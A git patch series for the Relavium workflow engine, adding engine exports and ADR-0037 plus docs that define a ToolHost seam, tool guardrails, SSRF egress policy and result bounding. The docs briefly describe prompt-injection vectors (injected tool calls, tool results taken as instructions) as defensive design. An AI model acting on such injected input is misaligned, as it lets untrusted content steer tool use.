RunHandle { + const primary = new RunEventStream(capacity); + const unsubscribe = bus.subscribe((event) => { + primary.push(event); + if (TERMINAL_TYPES.has(event.type)) { + primary.close(); + unsubscribe(); + } + }); + return { + runId, + events: primary, + subscribe: (listener) => bus.subscribe(listener), + cancel, + whenConsumersReady: () => primary.whenDrained(), + }; +} diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index e99306e5..792e4666 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -84,3 +84,99 @@ export type { ExpressionKind, SandboxLimits, } from './expression/sandbox.js'; + +// WorkflowEngine + RunEventBus (1.N) — the run loop. Walks the RunPlan, dispatches ready nodes through +// the injected NodeExecutor seam (1.O/1.P fill it), and emits the canonical RunEvent stream with the +// exactly-one-terminal-event guarantee (ADR-0036; sse-event-schema.md). Platform-free: host concerns +// (clock / ids / persistence / abort) are injected via ExecutionHost. +export { WorkflowEngine } from './engine/engine.js'; +export type { StartInput, WorkflowEngineDeps } from './engine/engine.js'; +export { RunEventBus } from './engine/event-bus.js'; +export type { RunEventBusOptions, RunEventListener, RunEventDraft } from './engine/event-bus.js'; +export type { RunHandle } from './engine/run-handle.js'; +export { + InMemoryRunStore, + createInMemoryHost, + createAbortController, +} from './engine/execution-host.js'; +export type { + ExecutionHost, + RunStore, + Clock, + IdSource, + AbortControllerLike, + InterruptedRun, +} from './engine/execution-host.js'; +export type { + NodeExecutor, + NodeExecContext, + NodeOutcome, + NodeFailure, + NodeStreamEvent, + GateRequest, + GateType, +} from './engine/node-executor.js'; + +// Typed run-loop API-boundary errors (1.N) — narrow on `code`, never on `message`. +export { EngineStateError } from './engine/errors.js'; +export type { EngineStateErrorCode } from './engine/errors.js'; + +// Built-in ToolRegistry + dispatch (1.T) — the engine-side registry the AgentRunner (1.O) and +// AgentSession (1.V) invoke; side effects go through the injected ToolHost seam (ADR-0037; +// tool-registry.md). Pure: zero platform imports, unit-testable against a stub host. +export { createToolRegistry } from './tools/registry.js'; +export { BUILTIN_TOOLS, BUILTIN_TOOL_IDS } from './tools/builtins.js'; +export { DEFAULT_TOOL_RESULT_LIMITS } from './tools/types.js'; +export { markUntrusted, unwrapUntrusted, isUntrusted } from './tools/untrusted.js'; +export { + ToolDispatchError, + UnknownToolError, + ToolPolicyError, + ToolArgsInvalidError, + ToolUnavailableError, + ToolExecutionError, + ToolCancelledError, +} from './tools/errors.js'; +export type { ToolErrorCode, ToolPolicyDenyReason } from './tools/errors.js'; +export type { Untrusted } from './tools/untrusted.js'; +export type { + ToolRegistry, + CreateToolRegistryOptions, + ToolDef, + ToolId, + ToolSource, + JsonSchema, + EgressKind, + ToolPolicyClass, + PolicyTarget, + ToolHost, + FsCapability, + ProcessCapability, + EgressCapability, + OsCapability, + McpCapability, + ToolOutputStore, + FileRead, + FileWritten, + DirEntry, + DirListing, + ProcessResult, + EgressRequest, + EgressResponse, + SpilledResult, + NotifyInput, + McpCallInput, + FsReadOpts, + FsWriteOpts, + FsListOpts, + SpawnOpts, + ToolNodeConfig, + ToolDispatchContext, + ToolDispatchOutcome, + ToolCallPart, + ToolResultPart, + ToolCallEventData, + ToolResultEventData, + ToolResultLimits, + FsScopeTier, +} from './tools/types.js'; diff --git a/packages/shared/src/run-event.ts b/packages/shared/src/run-event.ts index ebefedda..a85973b7 100644 --- a/packages/shared/src/run-event.ts +++ b/packages/shared/src/run-event.ts @@ -86,11 +86,18 @@ export const ErrorCodeSchema = z.enum(ERROR_CODES); /** The five-value LLM stop reason. Canonical home — the `@relavium/llm` seam re-exports this. */ export const StopReasonSchema = z.enum(STOP_REASONS); -/** The shared failure shape: a closed `code`, a user-safe `message`, and `retryable`. */ +/** + * The shared failure shape: a closed `code`, a user-safe `message`, `retryable`, and an optional, + * secret-free `correlationId` the engine stamps at the single producer-side translation point so a + * surface can quote it and an operator can join it to the structured internal log (reconciles + * error-handling.md's "user-safe message plus an internal correlation id"; ADR-0036). Additive and + * forward-compatible — an emitter may omit it. + */ const eventErrorFields = { code: ErrorCodeSchema, message: z.string(), retryable: z.boolean(), + correlationId: nonEmptyString.optional(), }; /** From 816fdb46c3aafe2920ddd574b421c69ae47e119f Mon Sep 17 00:00:00 2001 From: Cemil ILIK Date: Sat, 13 Jun 2026 11:36:48 +0300 Subject: [PATCH 04/16] docs(decisions): add ADR-0037 + tool-registry spec for the engine tool-execution boundary (1.T) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Record the engine→host tool-execution boundary that no existing doc covered: the ToolRegistry owns tool policy + dispatch (pure), and every side effect goes through a host-injected ToolHost capability seam — the ResolverCapabilities (1.L2) / ADR-0018 purity-seam pattern generalized. Sibling to ADR-0036's ExecutionHost. - ADR-0037 (Proposed): the decision, the policy/mechanism split, the discriminated egress kinds (http/search/mcp), the host-resolved credential-ref boundary, model-facing result bounding, and the error→ErrorCode mapping (tool_denied fatal; cancelled on abort). - tool-registry.md: the canonical ToolHost/ToolDef contract, the 8-step dispatch lifecycle (effective-args assembled+validated BEFORE the guardrail checks, so a tool node cannot bypass the allowlist), the guardrail table, result bounding, the untrusted-data taint. - built-in-tools.md: config-only params, tool-result bounding, subprocess environment. - Index rows in decisions/ and reference/shared-core/. Refs: ADR-0037, ADR-0029 Co-Authored-By: Claude Opus 4.8 (1M context) --- .../0037-engine-tool-execution-boundary.md | 67 +++++ docs/decisions/README.md | 1 + docs/reference/shared-core/README.md | 1 + docs/reference/shared-core/built-in-tools.md | 25 +- docs/reference/shared-core/tool-registry.md | 264 ++++++++++++++++++ 5 files changed, 357 insertions(+), 1 deletion(-) create mode 100644 docs/decisions/0037-engine-tool-execution-boundary.md create mode 100644 docs/reference/shared-core/tool-registry.md diff --git a/docs/decisions/0037-engine-tool-execution-boundary.md b/docs/decisions/0037-engine-tool-execution-boundary.md new file mode 100644 index 00000000..610405ab --- /dev/null +++ b/docs/decisions/0037-engine-tool-execution-boundary.md @@ -0,0 +1,67 @@ +# ADR-0037: Engine-side tool-execution boundary — the `ToolHost` capability seam, the policy/mechanism split, and bounded tool results + +- **Status**: Proposed +- **Date**: 2026-06-13 +- **Related**: [ADR-0003](0003-pure-ts-engine-not-langgraph-python.md), [ADR-0006](0006-os-keychain-for-api-keys.md), [ADR-0011](0011-internal-llm-abstraction.md), [ADR-0018](0018-desktop-execution-and-rust-egress.md), [ADR-0019](0019-cli-node-keychain-library.md), [ADR-0023](0023-strict-authored-yaml-validation.md), [ADR-0027](0027-expression-sandbox.md), [ADR-0028](0028-workflow-resource-governance.md), [ADR-0029](0029-tool-policy-hardening.md), [ADR-0034](0034-mcp-client-sdk-dependency.md), [ADR-0036](0036-run-loop-substrate-event-bus-and-execution-host.md), [tool-registry.md](../reference/shared-core/tool-registry.md), [built-in-tools.md](../reference/shared-core/built-in-tools.md), [mcp-integration.md](../reference/shared-core/mcp-integration.md), [security-review.md](../standards/security-review.md), [error-handling.md](../standards/error-handling.md), [sse-event-schema.md](../reference/contracts/sse-event-schema.md), [architectural-principles.md](../standards/architectural-principles.md) + +## Context + +Workstream **1.T** builds the engine-side `ToolRegistry` + dispatch that the `AgentRunner` (1.O) and `AgentSession` (1.V) invoke. [shared-core-engine.md](../architecture/shared-core-engine.md) names the `ToolRegistry` as "the engine-side registry and dispatcher for built-in and MCP tools," and [built-in-tools.md](../reference/shared-core/built-in-tools.md) catalogs the twelve built-ins and (via [ADR-0029](0029-tool-policy-hardening.md)) their guardrails. But a central contract is named in **no** document, and 1.T cannot make it implicitly: + +**Eleven of the twelve built-in tools require real platform I/O the pure engine cannot perform.** `read_file` / `write_file` / `list_directory` touch the filesystem; `run_command` / `git_status` / `git_commit` spawn processes; `http_request` / `web_search` / `mcp_call` make network calls; `read_clipboard` / `notify` reach the OS. Yet `@relavium/core` has **zero platform-specific imports** (CLAUDE.md rule 5, [ADR-0003](0003-pure-ts-engine-not-langgraph-python.md)/[ADR-0011](0011-internal-llm-abstraction.md)), enforced on two CI layers (the ESLint engine-purity fence over the `node:*` group and `tsconfig.purity.json` `types: []`) — the same fences [ADR-0036](0036-run-loop-substrate-event-bus-and-execution-host.md) cites. `node:fs` / `node:child_process` / `node:net` / a bare `fetch` are unavailable to the engine by construction, and must be: the engine runs identically in Node, the Tauri WebView (no Node context — [ADR-0018](0018-desktop-execution-and-rust-egress.md)), the VS Code extension host, and Bun. So "built-in tools execute inside `@relavium/core`" **cannot** mean the engine performs their I/O. + +Relavium has already solved exactly this shape twice — but never recorded the *general* boundary. [ADR-0018](0018-desktop-execution-and-rust-egress.md) **injects the HTTP transport** so the egress mechanism differs per host while the seam types stay platform-free; and 1.L2's `ResolverCapabilities.readFile` is the engine's **purity seam** for the one interpolation filter that needs a file ("the host owns the capability and its workspace-root sandbox; the engine passes the authored argument through verbatim"). 1.T needs that pattern generalized to *every* side-effecting tool — and, unrecorded, each implementer would re-invent the boundary differently per surface, which is the surface-drift risk [shared-core-engine.md](../architecture/shared-core-engine.md) exists to kill. + +The stakes are security-critical because this boundary is where **[ADR-0029](0029-tool-policy-hardening.md)'s guardrails must be "enforced by the engine, not by convention."** If the policy (exact command match, exact-FQDN `allowedDomains`, deny-all-empty, node-tool narrowing, secret-free args, `git_commit` behind a gate) lives at each surface's I/O site rather than once in the engine, it is enforced N times by convention and fails open at the first surface that forgets. Three further obligations are unowned at the tool layer: + +1. The **shared SSRF range-primitive** (HTTPS-only, block private/loopback/link-local/metadata/CGNAT, DNS-resolve + connect-by-validated-IP + per-hop-redirect-revalidate — [security-review.md](../standards/security-review.md)) is inherently host-side I/O and lands at **1.AE**, so 1.T must define how the tool layer composes with it **without doing DNS in the pure engine**. +2. The **untrusted-content-as-data structural boundary** ([security-review.md §Prompt-injection](../standards/security-review.md#prompt-injection-posture)) explicitly binds **1.T/1.O/1.V** — model output and tool results are untrusted data, never trusted instructions, and the type boundary must make the unsafe path unrepresentable. +3. The **unbounded tool-result hole** ([deferred-tasks.md](../roadmap/deferred-tasks.md) tool-output-gate) — only the *event* `outputSummary` is truncated today, so one oversized `read_file` / `http_request` / MCP result blows the *next* request's context window, a cost/DoS surface [ADR-0028](0028-workflow-resource-governance.md)'s pre-egress governor cannot see because the damage lands in the next call. + +This is the tool-side sibling of [ADR-0036](0036-run-loop-substrate-event-bus-and-execution-host.md)'s run-loop substrate: ADR-0036 pins the `ExecutionHost` seam (persistence / clock / transport — the seam the whole engine relocates at for cloud); this ADR pins the `ToolHost` seam (the side-effecting I/O the tools need). They are adjacent, both injected, both following the `ResolverCapabilities` / ADR-0018 precedent. + +## Decision + +**We will define a `ToolHost` capability-injection seam. The engine's `ToolRegistry` owns all tool *policy* and *dispatch* as pure code in `packages/core`; every side-effecting *mechanism* is performed only through a host-injected `ToolHost`, exactly as `ResolverCapabilities.readFile` (1.L2) and the injected HTTP transport ([ADR-0018](0018-desktop-execution-and-rust-egress.md)) already are. `@relavium/core` never imports `node:fs` / `node:child_process` / `node:net` / `fetch`.** Following the [ADR-0027](0027-expression-sandbox.md)→[expression-sandbox-spec.md](../reference/shared-core/expression-sandbox-spec.md) precedent, this ADR pins the principle and the policy/mechanism split; the exhaustive `ToolHost` / `ToolDef` interface lands in its one canonical home, [tool-registry.md](../reference/shared-core/tool-registry.md) (rule 8). + +The split, by concern: + +- **Engine-pure (the `ToolRegistry`, `packages/core/src/tools/`):** the registry of canonical `ToolDef`s; **exact-match-by-id** resolution **+ a node-grant check** (an unknown id is a typed error listing the available tools — never fuzzy / nearest-name, [ADR-0029](0029-tool-policy-hardening.md); a registered-but-not-granted tool is refused — *registered ≠ authorized*, so a hallucinated/injected `tool_call` for a tool the node was not granted cannot dispatch); **assembling the effective argument set** (model args + `input_mapping` + config-only, config wins) and **validating that complete set** with an executable validator (Zod — already a `@relavium/core` dependency, no new dep) + the secret-taint check, schema-checked and **never `eval`'d** ([security-review.md §Prompt-injection](../standards/security-review.md#prompt-injection-posture)); **then** the 0029 guardrail **checks, run on the effective args** — so a `tool` node, whose args are entirely `input_mapping`-derived (no model args), cannot bypass the allowlist by being checked before its args exist: `run_command` exact `allowedCommands` + opt-in `allowedCommandGlobs` + deny-all-empty; the discriminated egress policy (below); `git_commit` refused without a human-gate approval; node-`tools:` narrowing already parser-enforced ([ADR-0023](0023-strict-authored-yaml-validation.md)/0029(b)); `input_mapping` / `output_mapping`; **model-facing result bounding** (below); marking every result **untrusted/tainted** at the registry boundary (below); and producing the structured `tool_call` / `tool_result` + its taint/secret markers for the bus's single translation point. +- **Host-injected (the `ToolHost`):** filesystem read / write / list (jailing to the FS **scope tier**, rejecting path traversal — the delegated sandbox duty, as for `ResolverCapabilities.readFile`); a **process-spawn** capability run **`shell: false`** where the **host resolves the executable** (platform PATH lookup — `npm` / `git` are unresolvable without it) and supplies the platform-minimal base env, merging **only** the engine-declared vars under an audited allowlist (never a blanket copy of the host env, so a subprocess never inherits `PATH` / `NODE_OPTIONS` / host secrets) — the engine cannot build a platform base env, so env construction is the host's job and the engine supplies the *policy* (the allowlist-checked command + the declared vars); the **outbound-HTTPS egress** capability (routing through the one shared SSRF range-primitive — [security-review.md](../standards/security-review.md), landing at 1.AE — and resolving an **opaque `credentialRef` host-side** so an authenticated tool like `web_search` never exposes the raw key to the engine / WebView, the [ADR-0006](0006-os-keychain-for-api-keys.md)/[ADR-0018](0018-desktop-execution-and-rust-egress.md) key-reference pattern); a run-scoped **output store** for bounded result spill (below); clipboard / notify; and the MCP transport ([ADR-0034](0034-mcp-client-sdk-dependency.md), 2.R). On the desktop these are Tauri commands into Rust (ADR-0018 generalized beyond `llm_stream`); on the Node surfaces direct `node:*` / `fetch` in the one trusted process; in Phase-2 cloud the relocated `ExecutionHost` provides them. + +Specific compositions this ADR pins: + +- **SSRF / egress — three discriminated kinds; 1.T defines the policy, 1.AE the mechanism.** The three egress tools do **not** share one allowlist: `http_request` is HTTPS-only + **exact-FQDN `allowedDomains`** + deny-all-empty; `web_search` transits an **untrusted-data-validated query** to the *configured* provider ([security-review.md §Prompt-injection](../standards/security-review.md#prompt-injection-posture) — not an `allowedDomains` allowlist); `mcp_call` reaches a *configured* MCP **server URL** (not `allowedDomains`). All three share the **one** SSRF range-primitive (block private/loopback/link-local/metadata/CGNAT; DNS-resolve + connect-by-validated-IP + per-hop-redirect-revalidate), enforced **inside the host egress capability** — never a second engine-local parser. The engine runs each kind's policy **before** the host call; an `input_mapping`-derived URL runs the same `http_request` check regardless of provenance (0029(d)), so a derived URL cannot bypass the guard. Egress is dispatchable against a stub `ToolHost` in tests now and ships **gated** until the SSRF-hardened host capability lands at 1.AE — the feature-flag-OFF discipline [ADR-0031](0031-llm-seam-shape-amendment-multimodal-io.md) uses for the media `url` carrier. +- **`invoke_agent` is not a `ToolHost` I/O capability.** It is pure orchestration dispatched through an **engine-provided delegate** to another node by id (the orchestrator delegation mechanism) — no platform I/O, no full router selection logic this phase. +- **Result bounding + spill — the deferred tool-output-gate, owned here.** Distinct from the *event* `outputSummary` truncation (which [ADR-0036](0036-run-loop-substrate-event-bus-and-execution-host.md) places at the bus translation point), this bounds the **model-facing** result that re-enters the next `LlmRequest`. Three rules: it is **model-facing only** — `output_mapping` runs on the **full** result so workflow state holds the real value, never the preview; the full bytes are **never buffered in the engine** — a large result streams and, past the **byte/line** ceiling (no token count — that needs a provider tokenizer, breaking purity), the host's run-scoped **output store** spills it incrementally and returns a handle + a bounded preview, so the DoS surface actually closes (buffer-then-spill would not); and the store is its **own** `ToolHost` capability, so bounding does not depend on the optional `fs` (a `web_search` / MCP host with no `fs` still bounds), reclaimed at the run's terminal event. Concrete thresholds / marker shape are canonical in [built-in-tools.md](../reference/shared-core/built-in-tools.md). +- **Typed errors map to the closed `ErrorCode`.** A guardrail / grant denial is **`tool_denied`** (*fatal* — never retried); a host capability throw is `tool_failed` (retryable within the node budget); an absent capability is `internal`; an `AbortSignal`-origin failure routes to the **cancellation** path (`cancelled`), never `tool_failed`, preserving [ADR-0036](0036-run-loop-substrate-event-bus-and-execution-host.md)'s cancel precedence. The retryable/fatal split is owned by [error-handling.md](../standards/error-handling.md) (this ADR's change-set adds its `tool_denied` / `tool_failed` rows); the closed codes by [sse-event-schema.md](../reference/contracts/sse-event-schema.md#error-code-taxonomy). +- **Binary / media results return a durable handle.** A tool whose result is binary or media (a `read_file` on a non-text file, a media `http_request` body) returns a **durable media handle** (`tool_result.media`, [ADR-0031](0031-llm-seam-shape-amendment-multimodal-io.md)) — **never** inline base64 in `tool_result.result`, which the ADR-0031 backstop rejects; this threads through the 1.AF media sub-spine and is gated until it lands. +- **LLM-visible vs config-only parameters.** A `ToolDef` distinguishes model-supplied params (which alone enter the LLM-facing JSON Schema the `ToolNormalizer` / 1.E lowers) from **config-pinned** params merged at dispatch and **never** exposed to the model — smaller prompts, and a config value a model argument can never override. The field shape is canonical in [built-in-tools.md](../reference/shared-core/built-in-tools.md) / [tool-registry.md](../reference/shared-core/tool-registry.md). +- **Untrusted-data taint — 1.T marks; 1.O places.** The registry wraps every tool result in the engine's branded untrusted marker (the same compile-time technique as the 0029(c) secret taint) so the message-assembly layer (1.O) can place it **only** in a `user` / `tool` position, never `system` and never string-concatenated into an instruction template ([security-review.md §Prompt-injection](../standards/security-review.md#prompt-injection-posture)). 1.T owns the *marking* at the tool boundary; 1.O owns the *placement* — the type makes the unsafe path unrepresentable rather than relying on per-call-site discipline. +- **One registry, both entry points, one `ToolHost`.** `WorkflowEngine` nodes and `AgentSession` turns share the one `ToolRegistry` + one injected `ToolHost` ([shared-core-engine.md §One substrate, two entry points](../architecture/shared-core-engine.md#one-substrate-two-entry-points)), so a tool behaves identically and every guardrail is enforced once for both. + +Considered alternatives: + +- **Let `packages/core` import `node:fs` / `node:child_process` / `fetch` directly** (rejected) — breaks engine purity (rule 5, [ADR-0003](0003-pure-ts-engine-not-langgraph-python.md)/[ADR-0011](0011-internal-llm-abstraction.md)), fails the ESLint fence + `tsconfig.purity.json` (the same fences [ADR-0036](0036-run-loop-substrate-event-bus-and-execution-host.md) records), and breaks the WebView / VS Code / Bun surfaces. It is the contradiction this ADR exists to prevent. +- **Push the whole `ToolRegistry` (policy + I/O) down to each surface** (rejected) — forks tool behavior across surfaces (the surface-drift risk [shared-core-engine.md](../architecture/shared-core-engine.md) guards against) and makes 0029's guardrails per-surface convention, failing open at the first surface that forgets. The engine must own the policy once. +- **Fold `ToolHost` into ADR-0036's `ExecutionHost` as one mega-seam** (rejected) — tool I/O is a distinct concern with a distinct lifecycle (per-tool-call, FS-scope-tiered, per-tool guardrails) from the run-loop's store / clock / transport. Keeping `ToolHost` a sibling seam (as `ResolverCapabilities` is its own seam) keeps each interface minimal and auditable; the host (or, in cloud, the relocated `ExecutionHost`) simply provides both. A god-interface couples the tool guardrail surface to the run-loop substrate for no gain. +- **Do the SSRF range-block inside the engine now** (rejected) — DNS resolution + connect-by-validated-IP is platform I/O that cannot live in the pure engine, and [security-review.md](../standards/security-review.md) mandates *one* shared primitive (no second hand-rolled parser), landing at 1.AE. The engine owns the policy half; the mechanism is injected. A second engine-local parser would be exactly the duplication the standard forbids. +- **No ADR — implement against built-in-tools.md + ADR-0029** (rejected) — those are the canonical homes for the tool *catalog* and the *policy*, but neither defines the engine↔host execution *boundary* (how the pure engine performs the I/O the policy guards). That boundary is a non-trivial, security-critical decision (rule 9) and the seam every guardrail rides on. + +## Consequences + +### Positive + +- The engine stays platform-free by construction: no `node:*` / `fetch` in `packages/core`, no fence waiver, no purity regression — the `ToolRegistry` is unit-testable against a stub `ToolHost` with zero real I/O. +- [ADR-0029](0029-tool-policy-hardening.md)'s guardrails are enforced **once, in the engine**, for both entry points and every surface — the policy/mechanism split makes "enforced by the engine, not by convention" structurally true. +- The tool-execution boundary is the recorded sibling of [ADR-0018](0018-desktop-execution-and-rust-egress.md) (egress), [ADR-0036](0036-run-loop-substrate-event-bus-and-execution-host.md) (`ExecutionHost`), and the `ResolverCapabilities` precedent — one coherent purity-seam story across the engine. +- The unbounded-tool-result hole is closed at the layer that re-feeds the model (not just the event), and the SSRF composition is pinned so 1.AE drops in without re-opening the tool layer. +- Cloud (Phase 2) inherits the seam for free: the relocated `ExecutionHost` provides the `ToolHost`, so "the same engine runs local and cloud unchanged" (the 1.T scope line) holds with no engine change. + +### Negative + +- Each surface must wire a `ToolHost` implementation (Rust commands on desktop, `node:*` on the Node hosts) — a per-host integration cost, mitigated because it is the already-accepted [ADR-0018](0018-desktop-execution-and-rust-egress.md) pattern generalized, and the engine half is surface-agnostic and tested once. +- The seam carries more host surface than a naive "engine does the I/O" model: a run-scoped output store (for streaming spill), a host-resolved executable + base env (the engine can't build a platform env), and a host-resolved `credentialRef` (so secrets stay out of the engine). Each is a deliberate consequence of engine purity + the policy/mechanism split — and the engine half (the executable args validator is Zod, already a core dependency; **no new dep**) stays pure and unit-testable against a stub host. +- `http_request` (and outbound `web_search` / `mcp_call`) ships gated until 1.AE lands the SSRF-hardened egress capability — a deliberate temporary limitation (correct-and-gated over fast-and-unsafe), tracked against the existing 1.AE deferred-task and its landing-gate CI test. +- The `ToolHost` interface is pinned in principle + the Phase-1 capability slices here; its exhaustive method surface lives in [tool-registry.md](../reference/shared-core/tool-registry.md) and will grow as MCP (2.R) and media (1.AF) tools land — an intentional, additive evolution kept to one canonical home, not a reversal. +- The result-bounding default thresholds are a judgment call (cost vs. truncating a legitimately large result); they are recorded as tunable in [built-in-tools.md](../reference/shared-core/built-in-tools.md) and revisited if real workflows hit them, consistent with the deferred-task's framing. diff --git a/docs/decisions/README.md b/docs/decisions/README.md index 6c5ad5fd..b5a3c666 100644 --- a/docs/decisions/README.md +++ b/docs/decisions/README.md @@ -80,6 +80,7 @@ flowchart TD | 0034 | [MCP client implementation — the official TypeScript SDK, scheduled in build phase 2](0034-mcp-client-sdk-dependency.md) | Accepted | 2026-06-10 | | 0035 | [YAML parser for the engine — the `yaml` package, confined to `@relavium/core`](0035-yaml-parser-dependency.md) | Accepted | 2026-06-11 | | 0036 | [Run-loop substrate — in-house `RunEventBus`, the `ExecutionHost` seam, and the exactly-one-terminal-event invariant](0036-run-loop-substrate-event-bus-and-execution-host.md) | Accepted | 2026-06-13 | +| 0037 | [Engine-side tool-execution boundary — the `ToolHost` capability seam, policy/mechanism split, bounded results](0037-engine-tool-execution-boundary.md) | Proposed | 2026-06-13 | ## Creating a new ADR diff --git a/docs/reference/shared-core/README.md b/docs/reference/shared-core/README.md index e81eb123..aae0af4c 100644 --- a/docs/reference/shared-core/README.md +++ b/docs/reference/shared-core/README.md @@ -19,4 +19,5 @@ Part of [reference/](../README.md). | [expression-sandbox-spec.md](expression-sandbox-spec.md) | The deterministic, resource-capped QuickJS-wasm sandbox contract for `condition` / `transform` / `merge_fn` — scope, allow-list, determinism, caps, and the `sandbox_error` taxonomy (1.AB / [ADR-0027](../../decisions/0027-expression-sandbox.md)). | | [run-plan.md](run-plan.md) | The `RunPlan` the DAG builder (1.M) compiles from a validated workflow — engine vertices, topological order, dependency edges, per-type config. | | [built-in-tools.md](built-in-tools.md) | Built-in tools available to local agents (read_file, run_command, web_search, git, …). | +| [tool-registry.md](tool-registry.md) | The engine-side `ToolRegistry` + dispatch and the host-injected `ToolHost` capability seam — policy/mechanism split, dispatch lifecycle, guardrail enforcement, result bounding, untrusted-data taint (1.T / [ADR-0037](../../decisions/0037-engine-tool-execution-boundary.md)). | | [mcp-integration.md](mcp-integration.md) | MCP: agents as MCP servers, and agents consuming MCP tools. | diff --git a/docs/reference/shared-core/built-in-tools.md b/docs/reference/shared-core/built-in-tools.md index 538d5516..77fb42cb 100644 --- a/docs/reference/shared-core/built-in-tools.md +++ b/docs/reference/shared-core/built-in-tools.md @@ -19,7 +19,7 @@ A tool declaration in YAML has a `type` discriminator: | Tool id | Purpose | Returns (shape) | Notes | | --- | --- | --- | --- | -| `read_file` | Read file content as UTF-8 (or base64 for binary). Supports glob for reading multiple files. | `{ content, mimeType, sizeBytes, lastModified }` | Respects the workflow's FS scope tier. | +| `read_file` | Read text file content as UTF-8. Supports glob for reading multiple files. | `{ content, mimeType, sizeBytes, lastModified }`; **binary/media content returns a durable media handle** (`tool_result.media`, [ADR-0031](../../decisions/0031-llm-seam-shape-amendment-multimodal-io.md)), never inline base64 | Respects the workflow's FS scope tier. | | `write_file` | Write or append content to a file. Optionally creates parent directories. | `{ path, bytesWritten }` | Within the allowed scope only. | | `list_directory` | List directory contents, optional recursive + glob filter. | `{ entries: [{ name, type, sizeBytes, lastModified }] }` | Respects FS scope. | | `run_command` | Spawn a shell command via the shell plugin. Streams stdout/stderr as events. | `{ exitCode, stdout, stderr, durationMs }` | **Exact-match allowlist required** — see below. Never runs unlisted commands. | @@ -38,6 +38,27 @@ A tool declaration in YAML has a `type` discriminator: A `tool` node (direct tool execution without an LLM) and an agent's tool call both use `input_mapping` / `output_mapping` to wire workflow state into the tool and the result back out. Tool credentials are referenced by id from the secret store and are **never** inlined into the workflow JSON or echoed into event payloads (`agent:tool_call.toolInput` is sanitized; see [../contracts/sse-event-schema.md](../contracts/sse-event-schema.md)). +## Config-only parameters + +A built-in tool's parameters split into two tiers. **LLM-visible** parameters form the JSON Schema the `ToolNormalizer` lowers to each provider's wire shape — the only parameters a model may supply. **Config-only** parameters take their **values from the node's `tool_config` / `agent_config` block** ([node-types.md](node-types.md) — `parameters`), are merged at dispatch (config wins), and **never** appear in the LLM-facing schema: a model-supplied argument can never override one. This keeps prompts small and pins safety-relevant values (a root path, a base URL, a timeout) out of the model's reach. The `ToolDef` field shape and the dispatch-time merge are canonical in [tool-registry.md](tool-registry.md); the decision is [ADR-0037](../../decisions/0037-engine-tool-execution-boundary.md). + +## Tool result bounding + +The result a tool hands **back to the model** (which re-enters the next request) is size-bounded — distinct from the `agent:tool_result.outputSummary` *event* field, which is truncated separately for display ([sse-event-schema.md](../contracts/sse-event-schema.md)). The bound is **model-facing only**: `output_mapping` writes the **full** result into workflow state, so a downstream node still gets the real value; only the model-facing copy is replaced by a **bounded preview**, an explicit **truncation marker**, and the **path** to the full output. The full bytes are **never buffered in the engine** — a large result streams and, past the ceiling, the host's run-scoped **output store** spills it incrementally (reclaimed at the run's terminal event), so the cost/DoS surface the pre-egress budget governor ([ADR-0028](../../decisions/0028-workflow-resource-governance.md)) cannot see — an oversized `read_file` / `http_request` / MCP result blows the *next* request's context window — actually closes. The output store is its own host capability, so bounding works even on a host with no filesystem (`web_search` / MCP). + +| Knob | v1.0 default | Note | +| --- | --- | --- | +| Byte ceiling | 50 KB | over ⇒ spill + preview (model-facing only) | +| Line ceiling | 2000 lines | over ⇒ spill + preview (model-facing only) | +| Preview | head + tail slice within the ceiling | the marker names the omitted span | +| Spill | the host's run-scoped output store; reclaimed at the terminal event | the path is handed to the model; readable via the FS-scope-tiered tools | + +The ceiling is a **byte/line** bound — no token count, which would need a provider-specific tokenizer and break engine purity. These defaults are tunable and revisited if real workflows hit them (the [deferred-tasks.md](../../roadmap/deferred-tasks.md) tool-output-gate framing). The dispatch lifecycle that applies them is in [tool-registry.md](tool-registry.md#result-bounding-and-spill-to-file). + +## Subprocess environment + +A tool that spawns a process (`run_command`, `git_*`) runs with **`shell: false`** under an **explicitly-constructed environment** — **never** a blanket copy of the host environment, which would hand every subprocess the host's secrets and hijack vectors (`PATH`, `NODE_OPTIONS`, …). Because the engine is platform-free it cannot build a platform base env or resolve an executable on `PATH`, so the split is: the **engine** supplies the policy (the allowlist-checked command) plus the declared extra variables; the **host** resolves the executable, supplies the platform-minimal base env, and merges only the declared variables under an audited allowlist. The seam is in [tool-registry.md](tool-registry.md#the-toolhost-capability-seam). + ## Filesystem permission tiers Every file-touching tool runs under a per-workflow filesystem **scope tier**. The tier is enforced by the desktop's scoped filesystem layer and the Tauri v2 capability system — paths are validated before any syscall (see [../desktop/tauri-plugins.md](../desktop/tauri-plugins.md)). @@ -53,3 +74,5 @@ The active tier is set in project config (see [../contracts/config-spec.md](../c ## Where tools run Built-in tools execute inside `@relavium/core`. On the desktop the engine and its tool dispatch run in the **WebView's JS runtime** (a Tauri WebView has no backing Node context); privileged side-effects are delegated to the Rust core through explicit Tauri commands — the authenticated LLM HTTPS egress goes through the `llm_stream` command ([ADR-0018](../../decisions/0018-desktop-execution-and-rust-egress.md)), and `run_command` and similar shell executions spawn real OS child processes through the shell plugin under the allowlist. In the CLI and VS Code surfaces the same tools run in the Node.js host process. The behavior and the result shapes are identical across surfaces because the engine is shared. See [../../architecture/execution-model.md](../../architecture/execution-model.md) and [../../architecture/shared-core-engine.md](../../architecture/shared-core-engine.md). + +Because `@relavium/core` has **zero platform-specific imports**, the engine cannot itself touch the filesystem, spawn a process, or open a socket. It owns the tool **policy and dispatch** (registration, exact-match resolution, argument validation, the guardrails below, result bounding, untrusted-data tainting) and performs every side effect through a host-injected **`ToolHost`** capability seam — the same purity seam as the `read_file` interpolation filter ([ADR-0018](../../decisions/0018-desktop-execution-and-rust-egress.md)'s injected transport, generalized). The seam, the dispatch lifecycle, and the `ToolDef` shape are canonical in [tool-registry.md](tool-registry.md); the decision is [ADR-0037](../../decisions/0037-engine-tool-execution-boundary.md). diff --git a/docs/reference/shared-core/tool-registry.md b/docs/reference/shared-core/tool-registry.md new file mode 100644 index 00000000..e35ba425 --- /dev/null +++ b/docs/reference/shared-core/tool-registry.md @@ -0,0 +1,264 @@ +# Tool Registry & the `ToolHost` Seam + +- **Status**: Draft — pending [ADR-0037](../../decisions/0037-engine-tool-execution-boundary.md) acceptance (flips to **Stable** when the ADR is Accepted) +- **Canonical home**: the contract for the engine-side `ToolRegistry` + dispatch in `packages/core` (`@relavium/core`) and the host-injected `ToolHost` capability seam it performs side effects through — workstream **1.T** +- **Related**: 